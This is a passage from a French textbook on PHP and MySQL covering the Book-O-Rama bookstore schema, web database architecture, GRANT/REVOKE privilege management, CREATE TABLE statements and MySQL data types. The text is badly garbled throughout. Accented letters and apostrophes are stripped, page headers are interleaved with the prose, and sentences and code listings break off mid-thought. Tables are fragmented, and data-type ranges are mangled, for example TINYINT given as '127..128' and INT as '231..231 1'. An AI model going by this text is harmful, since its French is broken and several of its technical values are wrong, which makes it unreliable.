Cette organisation nest pas trs judicieuse pour plusieurs raisons. Elle revient imbriquer une table complte dans une colonne, une table qui associe les commandes aux
livres. Il est alors plus difficile de rpondre des questions comme : "Combien dexemplaires du livre Java 2 pour les professionnels ont t commands ?" Le systme ne
peut plus se contenter de compter les champs qui correspondent cette requte ; il doit
226
Partie II
Utilisation de MySQL
analyser la valeur de chaque attribut pour vrifier si elle contient la chane de caractres
recherche.
Au lieu dinsrer une table lintrieur dune autre table, il suffit en fait de crer un
nouvelle table, Livres Commandes, comme celle de la Figure 8.6.
Figure 8.6
Cette architecture
simplifie la recherche
des livres qui ont t
commands.
LIVRES COMMANDES
IDCommande
ISBN
Quantit
0 672 31697 8
0 672 31745 1
0 672 31509 2
0 672 31697 8
0 672 31745 1
0 672 31509 2
0 672 31697 8
Cette table permet de crer une association entre la table Commandes et la table Livres.
Ce type de table est assez rpandu lorsquil existe une relation plusieurs-vers-plusieurs
entre deux objets comme ici : une commande peut concerner plusieurs livres et un livre
peut tre command par plusieurs personnes.
Choisir des cls pertinentes
Assurez-vous que les cls que vous choisissez sont uniques. Dans notre cas, nous avons
cr des cls spciales pour les clients (IDClient) et pour les commandes (IDCommande)
puisque ces objets du monde rel ne possdent pas ncessairement un identificateur
unique. En revanche, nous navons pas besoin de crer un identificateur unique pour les
livres puisquil en existe dj un : le numro ISBN. Pour la table Livre Commandes,
vous pourriez ajouter une cl supplmentaire, mais la combinaison des deux attributs
IDCommande et ISBN est unique tant que plusieurs exemplaires dun mme livre dans la
mme commande sont traits sur une seule ligne. Cest pour cela que Livre Commandes
possde une colonne Quantite.
Penser aux questions que vous poserez votre base de donnes
Il est essentiel de connatre les questions auxquelles la base de donnes doit pouvoir
rpondre ("Quelles sont les meilleures ventes ?", par exemple). Assurez-vous que votre
base contient toutes les donnes ncessaires et que les liens appropris existent entre les
diffrentes tables pour rpondre correctement vos questions.
Chapitre 8
227
Auteur
Titre
Prix
0 672 31697 8
Michael Morgan
34.99
0 672 31745 1
Thomas Down
Installing GNU/Linux
24.99
0 672 31509 2
Pruitt.et al.
24.99
Commentaire
COMMENTAIRES LIVRES
ISBN
Commentaire
Figure 8.7
Pour fournir des commentaires, nous pouvons ajouter une colonne Commentaire dans la table
Livres ou ajouter une autre table, consacre aux commentaires.
La premire mthode consiste ajouter une colonne Commentaire dans la table Livres.
De cette manire, il existe un champ Commentaire pour chaque livre. Si la base de
donnes contient beaucoup de livres, et si la personne qui rdige les commentaires na
pas lintention de le faire pour chaque livre, il se peut que plusieurs lignes ne possdent
aucune valeur associe cet attribut. On parle dans ce cas de valeurs null.
La prsence de nombreuses valeurs null dans une base de donnes doit tre vite car
elles gaspillent lespace de stockage et peuvent entraner divers problmes lorsque vous
calculez des totaux ou dautres fonctions sur des colonnes numriques. En outre,
lorsquun utilisateur voit une valeur null dans une table, il ne peut pas savoir si la valeur
de cet attribut na aucune signification, sil sagit dune erreur dans la base de donnes
ou sil sagit dune donne qui na pas encore t saisie.
Vous pouvez viter tous ces problmes en utilisant la seconde architecture prsente
la Figure 8.7. Dans cette organisation, seuls les livres qui possdent un commentaire
apparaissent dans la table Commentaires Livres, accompagns de leur commentaire.
Vous remarquerez que la premire architecture implique quil ne peut y avoir quun
commentaire par livre. Si vous souhaitiez pouvoir ajouter plusieurs commentaires pour
le mme livre, il faut utiliser une relation un--plusieurs que seule la seconde architecture est capable de vous apporter. Cette dernire permet galement de reprsenter une
228
Partie II
Utilisation de MySQL
relation un-vers-un puisquil suffit dutiliser lISBN comme cl primaire dans la table
Commentaires Livres. Pour reprsenter une relation un--plusieurs, vous devez en
revanche dfinir un identificateur unique pour chaque ligne de cette table.
Rcapitulatif sur les types de tables
Les bases de donnes sont gnralement composes de deux types de tables :
m
Des tables simples qui dcrivent des objets du monde rel. Ces tables peuvent galement contenir des cls vers dautres objets simples, pour lesquels il existe une relation
un-vers-un ou un-vers-plusieurs. Un client peut, par exemple, passer plusieurs
commandes, mais chaque commande est effectue par un seul client. Par consquent, nous pouvons placer dans chaque commande une rfrence au client qui a
effectu cette commande.
Des tables de liaison qui dcrivent des relations plusieurs-vers-plusieurs entre deux
objets rels, comme la relation qui existe entre Commandes et Livres. Ces tables sont
souvent associes des transactions du monde rel.
Serveur web
Rponse
Figure 8.8
La relation client/serveur entre un navigateur web et un serveur web ncessite un lien
de communication.
Chapitre 8
229
Les applications de bases de donnes web que nous allons mettre en uvre dans ce livre
respectent une structure de base de donnes web gnrale, prsente la Figure 8.9.
Lessentiel de cette structure devrait dj vous sembler familier.
1
Navigateur
2
Serveur web
3
Moteur PHP
Serveur MySQL
4
Figure 8.9
Larchitecture fondamentale des bases de donnes web est compose dun navigateur web,
dun serveur web, dun moteur de scripts et dun serveur de bases de donnes.
Une transaction de base de donnes web classique est compose des tapes numrotes
la Figure 8.9. Examinons ces tapes dans le contexte de la librairie Book-O-Rama.
1. Le navigateur web dun utilisateur envoie une requte HTTP pour une page web
particulire. Cette requte peut, par exemple, concerner tous les livres de Book-ORama crits par Laura Thomson et tre envoye partir dun formulaire HTML. La
page de recherche des rsultats est appele resultats.php.
2. Le serveur web reoit une requte pour resultats.php, rcupre le fichier et le passe
au moteur PHP afin quil soit trait.
3. Le moteur PHP commence analyser le script. Dans celui-ci se trouve une commande
permettant de se connecter la base de donnes et dexcuter une requte (pour
rechercher les livres). PHP ouvre une connexion vers le serveur MySQL et transmet
la requte approprie.
4. Le serveur MySQL reoit la requte de base de donnes et la traite, puis renvoie les
rsultats (cest--dire une liste de livres) au moteur PHP.
5. Le moteur PHP termine lexcution du script, ce qui consiste gnralement formater les rsultats de la requte en HTML. Il envoie ensuite le fichier HTML obtenu au
serveur web.
6. Le serveur web transmet la page HTML au navigateur, pour que lutilisateur puisse
voir la liste des livres quil a demands.
Ce processus reste relativement identique, quels que soient le moteur de scripts et le serveur
de bases de donnes que vous utilisez. Le plus souvent, le serveur web, le moteur PHP
et le serveur de bases de donnes tournent tous sur le mme ordinateur. Cependant, il
arrive que le serveur de bases de donnes se trouve sur un autre ordinateur. Cette
dernire approche rpond des problmes de scurit, daugmentation des capacits
et de rpartition de la charge. Au niveau du dveloppement, cela ne change pas
230
Partie II
Utilisation de MySQL
grand-chose, bien que cette approche fournisse des avantages significatifs en terme de
performances.
mesure quaugmenteront la taille et la complexit de vos applications, vous commencerez les diviser en niveaux, ou couches. Cest ce que lon appelle une architecture
trois tiers car lapplication est alors forme dune couche de base de donnes qui se
charge de linterfaage avec MySQL, dune couche mtier qui contient le systme
central de lapplication et dune couche de prsentation qui gre la sortie HTML.
Larchitecture lmentaire prsente la Figure 8.9 vaut cependant toujours : vous
ajoutez simplement dautres lments de structure la section PHP.
Pour la suite
Au prochain chapitre, nous nous intresserons la construction dune base de donnes
MySQL. Nous commencerons par voir comment configurer une base de donnes MySQL
pour le Web, comment effectuer des requtes dans cette base de donnes et comment
linterroger partir de PHP.
9
Cration dune base
de donnes web
Dans ce chapitre, nous verrons comment configurer une base de donnes MySQL pour
pouvoir lutiliser sur un site web.
Nous reprendrons lexemple de la librairie virtuelle Book-O-Rama, prsente au chapitre prcdent et dont nous rappelons ici le schma :
Clients(IDClient, Nom, Adresse, Ville)
Commandes(IDCommande, IDClient, Montant, Date)
Livres(ISBN, Auteur, Titre, Prix)
Livres_Commandes(IDCommande, ISBN, Quantite)
Commentaires_Livres(ISBN, Commentaire)
Noubliez pas que les cls primaires sont soulignes et que les cls trangres sont en
italique.
Pour pouvoir tirer profit des lments de cette section, vous devez avoir accs
MySQL. Cela signifie normalement que :
1. Vous avez effectu linstallation de base de MySQL sur votre serveur web. Pour
cela, il faut notamment :
installer les fichiers ;
crer un utilisateur sous le nom duquel MySQL sera excut ;
configurer votre chemin daccs ;
excuter mysql install db, si ncessaire ;
dfinir le mot de passe root de MySQL ;
supprimer lutilisateur anonymous et la base de donnes test ;
dmarrer le serveur MySQL pour la premire fois et le configurer pour quil se lance
automatiquement.
232
Partie II
Utilisation de MySQL
Si vous avez bien fait tout cela, vous pouvez commencer lire ce chapitre. Dans le
cas contraire, vous trouverez lAnnexe A des instructions qui vous aideront.
Si, nimporte quel moment dans ce chapitre, vous avez des problmes, ce peut tre
d la configuration de votre systme MySQL. Dans ce cas, vrifiez nouveau
cette liste et consultez lAnnexe A pour vous assurer que votre configuration est
correcte.
2. Vous devriez galement avoir accs MySQL sur un ordinateur dont vous ntes
pas ladministrateur, comme un service dhbergement web, un ordinateur de votre
socit, etc.
Dans ce cas, pour que vous puissiez utiliser les exemples ou crer votre propre base
de donnes, votre administrateur doit configurer un utilisateur et une base de
donnes et vous fournir le nom dutilisateur, le mot de passe et le nom de la base de
donnes quil vous a affects.
Vous pouvez choisir de sauter les sections de ce chapitre qui expliquent comment
configurer les utilisateurs et les bases de donnes, ou les lire pour expliquer plus
prcisment votre administrateur ce dont vous avez besoin. En tant quutilisateur
normal, vous navez pas le droit dexcuter les commandes permettant de crer des
utilisateurs et des bases de donnes.
Tous les exemples de ce chapitre ont t dvelopps et tests avec la dernire version de
MySQL 5. Certaines versions antrieures de MySQL possdent moins de fonctionnalits : il est donc prfrable dinstaller la version stable la plus rcente lorsque vous configurez votre systme. Vous pouvez charger la dernire version sur le site de MySQL,
http://mysql.com.
Dans ce livre, nous interagirons avec MySQL au moyen dun client en ligne de
commande, le moniteur MySQL fourni avec chaque installation de MySQL, mais vous
pouvez utiliser dautres clients. Par exemple, si vous utilisez MySQL dans un environnement web, les administrateurs systme proposent souvent linterface phpMyAdmin
que vous pouvez utiliser dans votre navigateur. Les diffrents clients graphiques proposent videmment des procdures lgrement diffrentes de celles dcrites ici, mais vous
devriez pouvoir adapter les instructions fournies assez facilement.
Chapitre 9
233
passera rien du tout. Il sagit dun problme trs frquent chez les nouveaux utilisateurs.
Cela signifie galement que vous pouvez insrer des retours la ligne au milieu dune
commande. Nous nous sommes dailleurs servis de cette caractristique pour amliorer
la lisibilit de nos exemples. Cette situation se remarque facilement puisque MySQL
affiche un symbole indiquant quil attend la suite de la commande. Il sagit dune petite
flche qui ressemble ceci :
mysql> grant select
->
Vous obtiendrez cette invite jusqu ce que vous saisissiez un point-virgule, chaque
fois que vous appuyez sur la touche Entre.
Un autre point important est que les instructions SQL ne tiennent pas compte de la
diffrence majuscules/minuscules, mais ce nest pas forcment le cas pour les noms des
bases de donnes et des tables. Nous reviendrons sur ce point un peu plus loin.
234
Partie II
Utilisation de MySQL
Loption p indique au serveur que vous souhaitez vous connecter en utilisant un mot de
passe. Vous navez pas besoin de la spcifier si aucun mot de passe na t dfini pour
lutilisateur sous lequel vous voulez ouvrir une session.
Si vous avez ouvert votre session sous le nom root et quaucun mot de passe na t
dfini pour root, nous vous recommandons fortement de consulter sans tarder
lAnnexe A et de le dfinir tout de suite. Sans mot de passe root, votre systme nest
pas du tout scuris.
Vous navez pas besoin de donner le mot de passe sur cette ligne, puisque le serveur
MySQL vous le demandera. En fait, il vaut mieux ne pas le donner car, si vous le saisissez sur la ligne de commande, il apparatra clairement lcran et pourra donc tre
intercept trs facilement.
Aprs avoir saisi la commande prcdente, vous devriez obtenir une rponse comme
celle-ci :
Enter password:
Si vous nobtenez pas cette ligne, vrifiez que le serveur MySQL fonctionne correctement et que la commande mysql se trouve dans votre PATH.
Il faut ensuite saisir votre mot de passe. Si tout se passe bien, vous devriez ensuite obtenir une rponse ressemblant ceci :
Welcome to the MySQL monitor. Commands end with; or \g.
Your MySQL connection id is 1 to server version: 5.0.0-alpha-max-debug
Type help; or \h for help. Type \c to clear the buffer.
mysql>
Si vous nobtenez pas une rponse similaire avec une installation sur votre propre
machine, assurez-vous que vous avez bien excut mysql install db, que vous avez
dfini le mot de passe root et que vous lavez saisi correctement. Si vous ntes pas
responsable de linstallation de MySQL, assurez-vous que vous avez saisi le mot de
passe correctement.
Vous devriez maintenant obtenir linvite de commande de MySQL et tre prt crer la
base de donnes.
Si vous utilisez votre propre ordinateur, suivez les indications de la section suivante.
Si vous utilisez lordinateur de quelquun dautre, la base de donnes devrait dj tre
cre. Vous pouvez alors passer directement la section "Utiliser la bonne base de
donnes" ou lire les sections qui suivent titre dinformations gnrales, mais vous ne
serez pas capable dexcuter les commandes indiques dans ces sections ou, tout du
moins, vous ne devriez pas tre autoris le faire !
Chapitre 9
235
Cest tout. Vous devriez obtenir une rponse comme celle-ci (au temps dexcution prs) :
Query OK, 1 row affected (0.06 sec)
Cette rponse signifie que tout sest bien pass. Si vous obtenez une autre rponse,
assurez-vous que vous navez pas oubli de saisir le point-virgule la fin de la ligne. Un
point-virgule indique MySQL que vous avez termin de saisir votre commande et
quil doit lexcuter.
236
Partie II
Utilisation de MySQL
global ;
base de donnes ;
table ;
colonne.
Les clauses entre crochets sont facultatives. Cette syntaxe comprend plusieurs paramtres
en italique que nous allons passer en revue.
Le premier, privilges, est une liste de privilges spars par des virgules. Ces privilges doivent tre choisis dans une liste prdfinie de MySQL, que nous prsenterons
dans la prochaine section.
Chapitre 9
237
Le paramtre colonnes est facultatif. Vous pouvez lutiliser pour prciser les privilges
associs certaines colonnes. Il peut correspondre au nom dune seule colonne ou une
liste de noms de colonnes spars par des virgules.
Le paramtre lment correspond la base de donnes ou la table laquelle sappliquent les privilges.
Vous pouvez octroyer des privilges sur toutes les bases de donnes en indiquant *.* la
place de lment. On accorde alors des privilges globaux. Vous pouvez aussi indiquer * si
vous nutilisez aucune base de donnes particulire.
Le plus souvent, vous dsignerez toutes les tables dune base de donnes avec
nom base.*, une table particulire avec nom base.nom table, ou des colonnes spcifiques avec nom base.nom table et les colonnes en question la place de colonnes. Ces
trois approches reprsentent respectivement les trois autres niveaux de privilges disponibles : sur une base de donnes, une table et une colonne. Si vous utilisez une base de
donnes spcifique lorsque vous excutez cette commande, nom table sera interprt
comme une table de la base de donnes courante.
nom utilisateur doit correspondre au nom de lutilisateur sous lequel vous souhaitez ouvrir une session dans MySQL. Noubliez pas que ce nom ne doit pas forcment
correspondre votre nom dutilisateur sur votre systme dexploitation. Avec
MySQL, nom utilisateur peut galement correspondre un nom dhte. Vous
pouvez utiliser cette particularit pour diffrencier, par exemple, laura (qui sera
interprt comme laura@localhost) et laura@autre part.com. Cette particularit
est trs intressante puisquil arrive souvent que des utilisateurs de diffrents domaines aient le mme nom en local. En outre, cette caractristique amliore la scurit du
systme, puisque vous pouvez spcifier lendroit partir duquel les utilisateurs se
connectent, et mme les tables et les bases de donnes auxquelles ils ont accs partir
dun emplacement particulier.
mot de passe dsigne le mot de passe que vous avez choisi pour lutilisateur indiqu.
Les rgles gnrales pour choisir les mots de passe doivent toujours tre respectes.
Nous reviendrons un peu plus loin sur les problmes de scurit, mais, dune manire
gnrale, un mot de passe ne doit pas pouvoir tre devin facilement. Cela signifie quil
ne doit figurer dans aucun dictionnaire et quil doit tre diffrent du nom de lutilisateur. Idalement, il doit contenir des lettres majuscules, des lettres minuscules et des
caractres non alphabtiques.
La clause REQUIRE vous permet de prciser que lutilisateur doit se connecter via SSL
(Secure Sockets Layer) et dindiquer dautres options SSL. Pour plus dinformations
238
Partie II
Utilisation de MySQL
ou
MAX_UPDATES_PER_HOUR n
ou
MAX_CONNECTIONS_PER_HOUR n
Chapitre 9
239
dun utilisateur normal sont prsents dans le Tableau 9.1. La deuxime colonne indique
les objets auxquels chaque privilge peut tre appliqu.
Tableau 9.1 : Privilges des utilisateurs normaux
Privilge Applicable
Description
SELECT
Tables, colonnes
INSERT
Tables, colonnes
UPDATE
Tables, colonnes
DELETE
Tables
INDEX
Tables
ALTER
Tables
CREATE
DROP
240
Partie II
Utilisation de MySQL
Privilge
Description
FILE
Autorise les donnes tre lues dans des tables depuis des
fichiers et vice versa.
LOCK TABLES
PROCESS
RELOAD
REPLICATION CLIENT
REPLICATION SLAVE
SHOW DATABASES
SHUTDOWN
SUPERT
Vous pouvez attribuer ces privilges des utilisateurs normaux, mais nous vous
conseillons de ne le faire quaprs avoir trs soigneusement estim toutes les consquences.
Le cas est un peu diffrent pour le privilge FILE car il peut tre intressant pour les
utilisateurs puisquil permet de charger des donnes partir de simples fichiers, ce qui
peut leur faire gagner beaucoup de temps en leur vitant davoir saisir leurs donnes
dans leurs bases. Cependant, le mcanisme de chargement de fichiers peut servir
charger nimporte quel fichier visible par le serveur MySQL, y compris des bases de
donnes appartenant dautres utilisateurs et, ventuellement, des fichiers de mots
Chapitre 9
241
Privilge
Description
ALL
Accorde tous les privilges prsents dans les Tableaux 9.1 et 9.2. Vous pouvez
galement crire ALL PRIVILEGES la place de ALL.
USAGE
La commande REVOKE
Linverse de GRANT sappelle REVOKE. Cette commande supprime des privilges aux
utilisateurs. Sa syntaxe ressemble beaucoup celle de GRANT :
REVOKE privilges [(colonnes)]
ON lment
FROM nom_utilisateur
Si vous avez octroy le privilge GRANT avec la clause WITH GRANT OPTION, vous pouvez
le supprimer de cette faon (avec tous les autres privilges) :
REVOKE All PRIVILEGES, GRANT
FROM nom_utilisateur
grant all
on *
to fred identified by mnb123
with grant option;
Cette commande accorde tous les privilges sur toutes les bases de donnes un utilisateur
appel fred, avec le mot de passe mnb123, et lautorise transmettre ces privilges.
Si vous vous ravisez et que vous ne vouliez pas de cet utilisateur dans votre systme,
vous pouvez le supprimer avec la commande suivante :
mysql> revoke all privileges, grant
-> on *
-> from fred;
242
Partie II
Utilisation de MySQL
Voyons maintenant comment configurer le compte dun utilisateur normal, sans aucun
privilge :
mysql> grant usage
-> on livres.*
-> to martine identified by magic123;
Aprs avoir discut un peu avec Martine, et aprs avoir appris ce quelle souhaite rellement faire, vous pouvez lui fournir les privilges appropris :
mysql> grant select, insert, update, delete, index, alter, create, drop
-> on livres.*
-> to martine;
Vous remarquerez quil ny a pas besoin de spcifier le mot de passe de Martine pour
effectuer cette opration.
Si vous vous rendez compte que Martine abuse de ses privilges, vous pouvez les
rduire :
mysql> revoke alter, create, drop
-> on livres.*
-> from martine;
Et, pour terminer, lorsquelle na plus besoin dutiliser la base de donnes, vous pouvez
supprimer tous ses droits :
mysql> revoke all
-> on livres.*
-> from martine;
Pour des raisons de scurit videntes, vous devez choisir un meilleur mot de passe que
celui-ci.
Si vous passez par un service dhbergement web, vous avez en gnral accs aux
autres privilges utilisateur sur une base de donnes que ce service cre pour vous. Les
services dhbergement web donnent souvent les mmes noms utilisateurs et mots de
passe pour laccs en ligne de commande (la dfinition des tables, etc.) et pour les
Chapitre 9
243
connexions des scripts web (les requtes sur la base de donnes). Cette pratique est
juste un peu moins scurise. Vous pouvez configurer un utilisateur avec ce niveau de
privilges de la manire suivante :
mysql> grant select, insert, update, delete, index, alter, create, drop
-> on livres.*
-> to bookorama identified by bookorama123;
Utilisez cette seconde version de lutilisateur, car vous en aurez besoin dans la
prochaine section.
Vous pouvez quitter le moniteur MySQL en tapant la commande quit. Essayez ensuite
douvrir une nouvelle session sous le nom de votre utilisateur web, afin de vrifier que
tout fonctionne correctement. Si linstruction GRANT que vous avez lance a t excute
mais que laccs vous soit refus lorsque vous tentez de vous connecter, cela signifie
gnralement que vous navez pas supprim les utilisateurs anonymes au cours du
processus dinstallation. Reconnectez-vous en tant que root et consultez lAnnexe A
pour plus dinformations concernant la manire de supprimer les comptes anonymes.
Vous devriez alors pouvoir vous connecter en tant quutilisateur web.
Lorsque vous tapez cette commande, MySQL devrait vous rpondre par une ligne
comme celle-ci :
Database changed
244
Partie II
Utilisation de MySQL
INFO
MySQL propose plusieurs types de tables ou moteurs de stockage, dont certains permettent
deffectuer des transactions sres. Nous prsenterons ces types de tables au Chapitre 13.
Pour le moment, toutes les tables de la base de donnes utiliseront le moteur de stockage
par dfaut, MyISAM.
Il faut videmment remplacer le paramtre nom table par le nom de la table que vous
souhaitez crer et le paramtre colonnes par la liste des colonnes de votre table, spares
par des virgules.
Chaque colonne possde un nom, suivi dun type de donnes.
Voici nouveau le schma de Book-O-Rama :
Clients(IDClient, Nom, Adresse, Ville)
Commandes(IDCommande, IDClient, Montant, Date)
Livres(ISBN, Auteur, Titre, Prix)
Livres_Commandes(IDCommande, ISBN, Quantite)
Commentaires_Livres(ISBN, Commentaire)
Le Listing 9.1 prsente le code SQL permettant de crer ces tables, en supposant que
vous avez dj cr la base de donnes livres. Vous trouverez ce programme SQL sur
le site Pearson, dans le fichier chapitre09/bookorama.sql.
Vous pouvez demander MySQL dexcuter un fichier SQL existant, du site Pearson,
en saisissant une commande comme celle-ci :
> mysql -h hte -u bookorama -D livres -p < bookorama.sql
Chapitre 9
245
Chaque table cre sa propre instruction CREATE TABLE. Vous remarquerez que nous
avons cr chaque table de ce schma avec les colonnes que nous avons mises en place
au chapitre prcdent. Le type de donnes de chaque colonne est indiqu directement
aprs son nom. En outre, certaines colonnes possdent dautres particularits.
Signification des autres mots-cls
NOT NULL signifie que toutes les lignes de la table doivent possder une valeur associe
cet attribut. Sil nest pas indiqu, le champ peut tre vide (NULL).
AUTO INCREMENT est une fonctionnalit particulire de MySQL que vous pouvez utiliser
sur des colonnes contenant des nombres entiers. Ce mot-cl signifie que si nous laissons
ce champ vide lorsque nous insrons de nouvelles lignes dans la table, MySQL gnre
automatiquement une valeur didentification unique. Cette valeur correspond la valeur
246
Partie II
Utilisation de MySQL
Chapitre 9
247
Une fois encore, il sagit dun petit compromis : varchar utilise moins de place, mais
char est plus rapide.
Vous remarquerez que toutes les colonnes sont dclares comme tant NOT NULL. Il
sagit dune petite optimisation quil ne faut pas hsiter mettre en uvre lorsque cest
possible.
Nous reviendrons sur les questions doptimisation au Chapitre 12.
La syntaxe de certaines instructions CREATE est lgrement diffrente. Examinons maintenant la table commandes:
create table commandes
( idcommande int unsigned not null auto_increment primary key,
idclient int unsigned not null,
montant float(6,2),
date date not null
);
La colonne montant est indique comme un nombre virgule flottante de type float.
Avec la plupart des types de donnes flottantes, il est possible de prciser la largeur de
laffichage et le nombre de chiffres aprs la virgule. Dans ce cas, le montant des
commandes sera en euros, cest pourquoi nous avons choisi une largeur assez importante (6) et deux chiffres dcimaux, pour les centimes.
La colonne date possde le type de donnes date.
Dans cette table particulire, toutes les colonnes (sauf montant) sont marques avec NOT
NULL. En effet, lorsquune commande est entre dans la base de donnes, nous devons
lajouter dans la table des commandes, puis ajouter les lments correspondants dans
commandes livres avant de traiter la commande. Il est donc tout fait possible que
nous ne connaissions pas le montant de la commande lorsque celle-ci est effectue,
cest pourquoi nous lautorisons tre NULL.
La table livres possde des caractristiques similaires :
create table livres
( isbn char(13) not null primary key,
auteur char(50),
titre char(100),
prix float(4,2)
);
Ici, nous navons pas besoin de produire une cl primaire parce que les numros ISBN
sont crs un autre endroit. Les autres champs peuvent tre NULL, puisquune librairie
peut connatre le code ISBN dun livre avant de connatre ses autres caractristiques
(titre, auteur ou prix).
248
Partie II
Utilisation de MySQL
La table livres commandes montre comment crer une cl primaire sur plusieurs colonnes :
create table livres_commandes
( idcommande int unsigned not null,
isbn char(13) not null,
quantite tinyint unsigned,
primary key (idcommande, isbn)
);
Nous avons indiqu les quantits de livres avec TINYINT UNSIGNED, qui peut contenir
des nombres entiers positifs compris entre 0 et 255.
Comme nous lavons dj mentionn, les cls primaires rparties sur plusieurs colonnes
doivent tre spcifies avec une clause de cl primaire particulire. Cest ce que nous
utilisons ici.
Pour terminer, voici la table commentaires livres :
create table commentaires_livres
(
isbn char(13) not null primary key,
commentaire text
);
Cette table utilise un nouveau type de donnes, text, que nous navons pas encore
mentionn. Ce type est intressant pour les chanes de caractres plus longues, comme
un commentaire ou un article. Il en existe plusieurs variantes, que nous examinerons un
peu plus loin dans ce chapitre.
Pour comprendre plus finement la cration des tables, intressons-nous aux noms des
colonnes et aux identificateurs en gnral, puis aux types de donnes que nous pouvons
choisir pour les colonnes. Mais, pour linstant, examinons dabord la base de donnes
que nous venons de crer.
Examiner la base de donnes avec SHOW et DESCRIBE
Ouvrez une session avec le moniteur MySQL et slectionnez la base de donnes
livres. Vous pouvez afficher les tables de cette base de donnes en saisissant la
commande suivante :
mysql> show tables;
MySQL affiche alors la liste de toutes les tables de cette base de donnes :
+---------------------+
| Tables in livres
|
+---------------------+
| clients
|
| commandes
|
| commentaires_livres |
| livres
|
| livres_commandes
|
+---------------------+
5 rows in set (0.06 sec)
Chapitre 9
249
Vous pouvez galement vous servir de la commande show pour afficher la liste des
bases de donnes, par exemple avec la commande suivante :
mysql> show databases;
Si vous ne possdez pas le privilge SHOW DATABASES, vous ne verrez que la liste des
bases de donnes pour lesquelles vous possdez des privilges.
Pour afficher plus dinformations sur une table particulire, par exemple la table
livres, servez-vous de DESCRIBE :
mysql> describe livres;
MySQL affiche alors les informations que vous avez fournies lors de la cration de la
base de donnes :
+--------+------------+------+-----+---------+-------+
| Field | Type
| Null | Key | Default | Extra |
+--------+------------+------+-----+---------+-------+
| isbn
| char(13)
| NO
| PRI | NULL
|
|
| auteur | char(50)
| YES |
| NULL
|
|
| titre | char(100) | YES |
| NULL
|
|
| prix
| float(4,2) | YES |
| NULL
|
|
+--------+------------+------+-----+---------+-------+
4 rows in set (0.00 sec)
Ces commandes sont utiles pour vous rappeler le type de donnes dune colonne ou
pour parcourir une base de donnes que vous navez pas cre vous-mme.
Cration dindex
Nous avons dj rapidement fait mention des index car la dsignation de cls primaires
cre automatiquement des index sur les colonnes concernes.
Lun des problmes courants auxquels sont confronts les nouveaux utilisateurs MySQL
concerne le regret que ces derniers expriment au sujet des mauvaises performances de
cette base de donnes quon leur a pourtant annonce tre rapide comme lclair. Ce
problme de performances survient parce quils nont pas cr dindex sur leur base de
donnes (il est en effet possible de crer des tables sans cl primaire et sans index).
Pour commencer, les index qui ont t automatiquement crs pour vous feront
laffaire. Si vous constatez que vous devez excuter un grand nombre de requtes sur
une colonne qui nest pas une cl, il peut tre souhaitable dajouter un index sur cette
colonne afin damliorer les performances. Vous pouvez le faire avec linstruction
CREATE INDEX, dont la syntaxe est la suivante :
CREATE [UNIQUE|FULLTEXT] INDEX nom_index
ON nom_table (nom_colonne_index [(longueur)] [ASC|DESC], ...])
Les index FULLTEXT sont utiliss pour indexer des champs texte. Nous reviendrons sur
ce sujet au Chapitre 13.
250
Partie II
Utilisation de MySQL
Le champ facultatif longueur permet de prciser que seuls les longueur premiers
caractres du champ doivent tre indexs. Vous pouvez galement indiquer si lindex
doit tre croissant (ASC) ou dcroissant (DESC) ; par dfaut, les index sont croissants.
Identificateurs MySQL
Il existe cinq types didentificateurs dans MySQL : les bases de donnes, les tables, les
colonnes, les index, que nous connaissons dj, et les alias, que nous tudierons au
prochain chapitre.
Avec MySQL, les bases de donnes correspondent des rpertoires et les tables, des
fichiers du systme de fichiers sous-jacent. Cette correspondance a un effet direct sur les
noms que vous pouvez leur donner. Elle influe galement sur la casse de ces noms : si votre
systme dexploitation tient compte de la diffrence entre les majuscules et les minuscules
dans les noms des rpertoires et des fichiers, les noms des bases de donnes et des tables
seront galement sensibles cette diffrence. Unix, par exemple, fait la distinction entre
les majuscules et les minuscules, ce qui nest pas le cas de Windows. Quel que soit le
systme dexploitation sous-jacent, les noms des colonnes et des alias ne tiennent en
revanche jamais compte des majuscules et des minuscules, bien que vous ne puissiez
pas utiliser diffrentes casses du mme nom dans une mme instruction SQL.
En outre, lemplacement des rpertoires et des fichiers contenant vos donnes dpend
de votre configuration. Vous pouvez connatre cet emplacement grce lutilitaire
mysqladmin :
> mysqladmin -h hte -u root -p variables
Type
Longueur Majuscules/
maximale minuscules
Caractres autoriss
Bases
64
de donnes
Comme le SE
Table
Comme le SE
64
Chapitre 9
251
Type
Longueur Majuscules/
maximale minuscules
Caractres autoriss
Colonne
64
Non
Nimporte lesquels
Index
64
Non
Nimporte lesquels
Alias
255
Non
Nimporte lesquels
Ces rgles sont extrmement souples. Vous pouvez mme utiliser des mots rservs, ou
des caractres spciaux, la seule limitation tant que si vous utilisez cette caractristique il
faudra placer vos identificateurs entre apostrophes inverses (Alt Gr+ sur les claviers
franais pour PC, la touche gauche de Entre sur les claviers franais pour Mac) :
create database `create database`;
252
Partie II
Utilisation de MySQL
Type
Intervalle
TINYINT[(M)]
127..128, ou 0..255
BIT
Synonyme de TINYINT
BOOL
Synonyme de TINYINT
SMALLINT[(M)]
Entiers courts
MEDIUMINT[(M)]
INT[(M)]
231..231 1, ou 0..232 1
Entiers classiques
Synonyme de INT
INTEGER[(M)]
BIGINT[(M)]
263..263 1, ou 0..264 1
Entiers larges
Type
Intervalle
Taille
(octets)
Description
FLOAT
(prcision)
Dpend de la prcision
FLOAT[(M,D)]
1.175494351E-38,
3.402823466E+38
Chapitre 9
253
Type
Intervalle
Taille
(octets)
DOUBLE[(M,D)]
1.7976931348623157E+308, 8
2.2250738585072014E-308
Description
Nombres virgule flottante en
double prcision. quivalent
FLOAT(8), mais avec une largeur
daffichage et un nombre de
chiffres aprs la virgule.
REAL[(M,D)]
Comme ci-dessus
DECIMAL
[(M[,D])]
Variable
NUMERIC [(M,D)]
Comme ci-dessus
Synonyme de DECIMAL.
DEC[(M,D)]
Comme ci-dessus
Synonyme de DECIMAL.
FIXED[(M,D)]
Comme ci-dessus
Synonyme de DECIMAL.
M+2
Type
Intervalle
Description
DATE
1000-01-01, 9999-12-31
TIME
-838:59:59, 838:59:59
DATETIME
1000-01-01 00:00:00,
9999-12-31 23:59:59
254
Partie II
Utilisation de MySQL
Type
Intervalle
Description
TIMESTAMP[(M)]
1970-01-01 00:00:00
YEAR[(2|4)]
70-69 (1970-2069),
1901-2155
Type spcifi
Affichage
TIMESTAMP
YYYYMMDDHHMMSS
TIMESTAMP(14)
YYYYMMDDHHMMSS
TIMESTAMP(12)
YYMMDDHHMMSS
TIMESTAMP(10)
YYMMDDHHMM
TIMESTAMP(8)
YYYYMMDD
TIMESTAMP(6)
YYMMDD
TIMESTAMP(4)
YYMM
TIMESTAMP(2)
YY
